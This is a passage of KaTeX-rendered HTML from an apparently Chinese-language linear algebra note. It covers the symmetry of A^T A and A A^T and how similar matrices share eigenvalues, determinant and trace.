class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p><p>对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> A^T A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mi>A</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A A^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 都是对称矩阵。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A = Q \Lambda Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mo stretchy="false">(</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo>=</mo><mi>Q</mi><msup><mi mathvariant="normal">Λ</mi><mi>T</mi></msup><msup><mi>Q</mi><mi>T</mi></msup><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mo>=</mo><mi>Q</mi><msup><mi mathvariant="normal">Λ</mi><mn>2</mn></msup><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A^T A = (Q \Lambda Q^T)^T (Q \Lambda Q^T) = Q \Lambda^T Q^T Q \Lambda Q^T = Q \Lambda^2 Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 以及 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mi>A</mi><mi>T</mi></msup><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mi>Q</mi><msup><mi mathvariant="normal">Λ</mi><mi>T</mi></msup><msup><mi>Q</mi><mi>T</mi></msup><mo>=</mo><mi>Q</mi><msup><mi mathvariant="normal">Λ</mi><mn>2</mn></msup><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A A^T = (Q \Lambda Q^T)(Q \Lambda Q^T)^T = Q \Lambda Q^T Q \Lambda^T Q^T = Q \Lambda^2 Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>。（在 SVD 分解有用）</p><h1 id="相似矩阵"><a class="markdownIt-Anchor" href="#相似矩阵"></a> 相似矩阵</h1><p>若存在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> M^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>=</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi></mrow><annotation encoding="application/x-tex"> B = M^{-1} A M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，则称矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex"> B </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 是相似矩阵。</p><p>相似矩阵有相同的特征值。</p><p>假设有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> A x = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>=</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi></mrow><annotation encoding="application/x-tex"> B = M^{-1} A M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>。</p><p>则有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mo stretchy="false">(</mo><mi>M</mi><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mi>λ</mi><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo>→</mo><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>λ</mi><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> M^{-1} A ( MM^{-1} ) x = \lambda M^{-1} x  \to (M^{-1} A M) ( M^{-1} x ) = \lambda ( M^{-1} x ) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord mathnormal">λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></span></p></p><p>得  <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>λ</mi><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> B ( M^{-1} x ) = \lambda ( M^{-1} x ) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></span></p></p><p>因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex"> B </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 有相同的特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，对应的特征向量为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> M^{-1} x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>。</p><p>显然因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>det</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\det(B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">det</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> 为特征值的乘积，所以相似矩阵有相同的行列式，以及特征值的和相同推出相同的迹 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><mi>r</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mi>t</mi><mi>r</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> tr(B) = tr(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>。</p><hr /><p>两个矩阵相似，他们的特征值相同，但是相反，两个矩阵特征值相同，并不一定相似。</p><p>比如 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" 